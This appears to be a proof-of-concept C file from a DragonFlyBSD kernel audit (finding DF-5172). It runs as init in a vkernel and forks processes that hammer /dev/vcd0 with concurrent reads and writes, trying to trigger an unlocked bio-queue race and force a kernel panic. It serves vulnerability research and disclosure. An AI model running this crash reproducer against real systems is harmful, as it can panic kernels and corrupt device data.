⬢ DragonFlyBSD Kernel Audit
DF-5172 / vcd_race_poc.c
← back to finding ↓ download raw
/*
 * DF-5172 PoC attempt - vcdstrategy() drains sc->bio_queue with no lock.
 *
 * Runs as PID1 inside: vkernel64 -m 256M -s 2 -r root.img -c ffs.img \
 *                          -e init_path=/race
 *
 * Two+ processes issuing concurrent raw reads on the same vcd drive the
 * unlocked bioqdisksort()/bioq_takefirst() pair (vcd.c:148-149) from two
 * vCPU threads.  The pread() inside the drain loop widens the window.
 *
 * Success criterion: vkernel traps/panics (list corruption, double biodone)
 * before the timeout; "RACE SURVIVED" means not reproduced this run.
 */
extern long write(int, const void *, unsigned long);
extern void _exit(long);
extern int open(const char *, int, ...);
extern long read(int, void *, unsigned long);
extern long lseek(int, long, int);
extern int fork(void);
extern int waitpid(int, int *, int);
extern unsigned int sleep(unsigned int);
extern unsigned int alarm(unsigned int);

#define O_RDONLY	0
#define O_RDWR		2
#define SEEK_SET	0
#define NCHILD		4
#define SECS		25
#define ALIGN		2048	/* vcd media sector size */

static int consfd = -1;

static void
msg(const char *s)
{
	const char *p = s;
	while (*p)
		p++;
	if (consfd < 0)
		consfd = open("/dev/console", 1 /* O_WRONLY */);
	if (consfd >= 0)
		write(consfd, s, (unsigned long)(p - s));
}

static void
child(int fd, unsigned int seed, int dowrite)
{
	static char buf[65536];	/* 32 vcd sectors */
	unsigned int r = seed ? seed : 1;
	long sz = lseek(fd, 0, 2 /*SEEK_END*/);
	int i;

	if (sz <= 0)
		sz = 1 << 20;
	for (i = 0; i < 20000; i++) {
		r = r * 1103515245 + 12345;
		lseek(fd, (long)((r >> 8) % (unsigned int)sz) & ~(ALIGN - 1), SEEK_SET);
		if (dowrite)
			write(fd, buf, sizeof(buf));
		else
			read(fd, buf, sizeof(buf));
	}
	_exit(0);
}

int
main(void)
{
	int fd, i, st;

	msg("DF-5172 vcd bioq race attempt (ncpus>=2 required)\n");
	fd = open("/dev/vcd0", O_RDONLY);
	if (fd < 0) {
		msg("open(/dev/vcd0) FAILED\n");
		_exit(1);
	}
	if (fd >= 0)
		close(fd);
	fd = open("/dev/vcd0", O_RDWR);
	msg("mixed r/w: reopening O_RDWR\n");
	for (i = 0; i < NCHILD; i++) {
		if (fork() == 0)
			child(fd, 1234u + (unsigned int)i, i & 1);
	}
	alarm(SECS);
	for (i = 0; i < NCHILD; i++)
		waitpid(-1, &st, 0);
	msg("RACE SURVIVED - no crash this run\n");
	_exit(0);
}